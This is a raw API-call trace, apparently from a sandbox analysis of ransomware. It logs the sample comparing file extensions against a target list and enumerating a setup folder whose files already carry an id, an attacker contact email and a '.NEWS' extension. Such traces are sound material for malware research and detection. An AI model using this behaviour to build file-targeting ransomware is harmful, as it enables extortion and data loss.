lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dotm") returned 5 [0157.288] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".dotx") returned 5 [0157.288] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.288] lstrlenW (lpString=".dpx") returned 4 [0157.288] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dqy") returned 4 [0157.288] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dsn") returned 4 [0157.288] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dt") returned 3 [0157.288] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.288] lstrlenW (lpString=".dtd") returned 4 [0157.288] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dwg") returned 4 [0157.288] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dwt") returned 4 [0157.288] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.288] lstrlenW (lpString=".dx") returned 3 [0157.288] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.289] lstrlenW (lpString=".dxf") returned 4 [0157.289] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".edml") returned 5 [0157.289] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.289] lstrlenW (lpString=".efd") returned 4 [0157.289] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".elf") returned 4 [0157.289] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".emf") returned 4 [0157.289] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".emz") returned 4 [0157.289] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".epf") returned 4 [0157.289] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".eps") returned 4 [0157.289] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".epsf") returned 5 [0157.289] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.289] lstrlenW (lpString=".epsp") returned 5 [0157.289] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.289] lstrlenW (lpString=".erf") returned 4 [0157.289] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".exr") returned 4 [0157.289] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".f4v") returned 4 [0157.289] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.289] lstrlenW (lpString=".fido") returned 5 [0157.290] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.290] lstrlenW (lpString=".flm") returned 4 [0157.290] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".flv") returned 4 [0157.291] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".frm") returned 4 [0157.291] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".fxg") returned 4 [0157.291] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".geo") returned 4 [0157.291] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".gif") returned 4 [0157.291] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".grs") returned 4 [0157.291] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".gz") returned 3 [0157.291] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.291] lstrlenW (lpString=".h") returned 2 [0157.291] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.291] lstrlenW (lpString=".hdr") returned 4 [0157.291] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".hpp") returned 4 [0157.291] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".hta") returned 4 [0157.291] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".htc") returned 4 [0157.291] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".htm") returned 4 [0157.291] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".html") returned 5 [0157.291] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.291] lstrlenW (lpString=".icb") returned 4 [0157.291] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".ics") returned 4 [0157.291] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".iff") returned 4 [0157.291] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.291] lstrlenW (lpString=".inc") returned 4 [0157.292] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".indd") returned 5 [0157.292] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.292] lstrlenW (lpString=".ini") returned 4 [0157.292] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".iqy") returned 4 [0157.292] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".j2c") returned 4 [0157.292] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".j2k") returned 4 [0157.292] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".java") returned 5 [0157.292] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.292] lstrlenW (lpString=".jp2") returned 4 [0157.292] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpc") returned 4 [0157.292] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpe") returned 4 [0157.292] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpeg") returned 5 [0157.292] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpf") returned 4 [0157.292] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpg") returned 4 [0157.292] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".jpx") returned 4 [0157.292] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.292] lstrlenW (lpString=".js") returned 3 [0157.293] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.293] lstrlenW (lpString=".jsf") returned 4 [0157.293] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".json") returned 5 [0157.293] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.293] lstrlenW (lpString=".jsp") returned 4 [0157.293] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".kdc") returned 4 [0157.293] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".kmz") returned 4 [0157.293] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".kwm") returned 4 [0157.293] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".lasso") returned 6 [0157.293] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.293] lstrlenW (lpString=".lbi") returned 4 [0157.293] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".lgf") returned 4 [0157.293] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.293] lstrlenW (lpString=".lgp") returned 4 [0157.294] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".log") returned 4 [0157.294] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".m1v") returned 4 [0157.294] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".m4a") returned 4 [0157.294] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".m4v") returned 4 [0157.294] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".max") returned 4 [0157.294] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".md") returned 3 [0157.294] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.294] lstrlenW (lpString=".mda") returned 4 [0157.294] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mdb") returned 4 [0157.294] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mde") returned 4 [0157.294] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mdf") returned 4 [0157.294] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mdw") returned 4 [0157.294] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mef") returned 4 [0157.294] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mft") returned 4 [0157.294] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mfw") returned 4 [0157.294] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mht") returned 4 [0157.294] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mhtml") returned 6 [0157.294] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.294] lstrlenW (lpString=".mka") returned 4 [0157.294] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.294] lstrlenW (lpString=".mkidx") returned 6 [0157.295] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.295] lstrlenW (lpString=".mkv") returned 4 [0157.295] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.295] lstrlenW (lpString=".mos") returned 4 [0157.295] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.295] lstrlenW (lpString=".mov") returned 4 [0157.295] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.295] lstrlenW (lpString=".mp3") returned 4 [0157.295] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.295] lstrlenW (lpString=".mp4") returned 4 [0157.295] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.296] lstrlenW (lpString=".mpeg") returned 5 [0157.296] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.296] lstrlenW (lpString=".mpg") returned 4 [0157.296] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.296] lstrlenW (lpString=".mpv") returned 4 [0157.296] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.296] lstrlenW (lpString=".mrw") returned 4 [0157.296] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.296] lstrlenW (lpString=".msg") returned 4 [0157.296] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.296] lstrlenW (lpString=".mxl") returned 4 [0157.297] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".myd") returned 4 [0157.297] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".myi") returned 4 [0157.297] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".nef") returned 4 [0157.297] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".nrw") returned 4 [0157.297] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".obj") returned 4 [0157.297] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".odb") returned 4 [0157.297] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".odc") returned 4 [0157.297] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".odm") returned 4 [0157.297] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".odp") returned 4 [0157.297] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".ods") returned 4 [0157.297] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".oft") returned 4 [0157.297] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".one") returned 4 [0157.297] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.297] lstrlenW (lpString=".onepkg") returned 7 [0157.298] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.298] lstrlenW (lpString=".onetoc2") returned 8 [0157.298] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.298] lstrlenW (lpString=".opt") returned 4 [0157.298] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.298] lstrlenW (lpString=".oqy") returned 4 [0157.298] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.298] lstrlenW (lpString=".orf") returned 4 [0157.298] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.298] lstrlenW (lpString=".p12") returned 4 [0157.298] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.298] lstrlenW (lpString=".p7b") returned 4 [0157.298] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.298] lstrlenW (lpString=".p7c") returned 4 [0157.298] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.301] lstrlenW (lpString=".pam") returned 4 [0157.301] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.301] lstrlenW (lpString=".pbm") returned 4 [0157.301] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.301] lstrlenW (lpString=".pct") returned 4 [0157.301] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.301] lstrlenW (lpString=".pcx") returned 4 [0157.301] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.301] lstrlenW (lpString=".pdd") returned 4 [0157.302] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pdf") returned 4 [0157.302] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pdp") returned 4 [0157.302] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pef") returned 4 [0157.302] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pem") returned 4 [0157.302] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pff") returned 4 [0157.302] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pfm") returned 4 [0157.302] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pfx") returned 4 [0157.302] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pgm") returned 4 [0157.302] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".php") returned 4 [0157.302] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".php3") returned 5 [0157.302] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.302] lstrlenW (lpString=".php4") returned 5 [0157.302] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.302] lstrlenW (lpString=".php5") returned 5 [0157.302] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.302] lstrlenW (lpString=".phtml") returned 6 [0157.302] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.302] lstrlenW (lpString=".pict") returned 5 [0157.302] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.302] lstrlenW (lpString=".pl") returned 3 [0157.302] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.302] lstrlenW (lpString=".pls") returned 4 [0157.302] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.302] lstrlenW (lpString=".pm") returned 3 [0157.302] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.302] lstrlenW (lpString=".png") returned 4 [0157.302] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pnm") returned 4 [0157.303] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pot") returned 4 [0157.303] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".potm") returned 5 [0157.303] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".potx") returned 5 [0157.303] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".ppa") returned 4 [0157.303] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".ppam") returned 5 [0157.303] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".ppm") returned 4 [0157.303] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pps") returned 4 [0157.303] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".ppsm") returned 5 [0157.303] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".ppt") returned 4 [0157.303] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pptm") returned 5 [0157.303] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".pptx") returned 5 [0157.303] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.303] lstrlenW (lpString=".prn") returned 4 [0157.303] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".ps") returned 3 [0157.303] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.303] lstrlenW (lpString=".psb") returned 4 [0157.303] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".psd") returned 4 [0157.303] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pst") returned 4 [0157.303] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".ptx") returned 4 [0157.303] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.303] lstrlenW (lpString=".pub") returned 4 [0157.303] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".pwm") returned 4 [0157.304] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".pxr") returned 4 [0157.304] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".py") returned 3 [0157.304] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0157.304] lstrlenW (lpString=".qt") returned 3 [0157.304] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0157.304] lstrlenW (lpString=".r3d") returned 4 [0157.304] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".raf") returned 4 [0157.304] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".rar") returned 4 [0157.304] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0157.304] lstrlenW (lpString=".raw") returned 4 [0157.304] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0157.304] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d4b6fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.304] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.304] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.304] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.305] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.305] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0157.305] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.305] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.308] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.308] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d4b6fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d4b6fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.308] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d71899, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391c3e95, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.308] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.308] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.308] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.309] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0157.309] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.309] 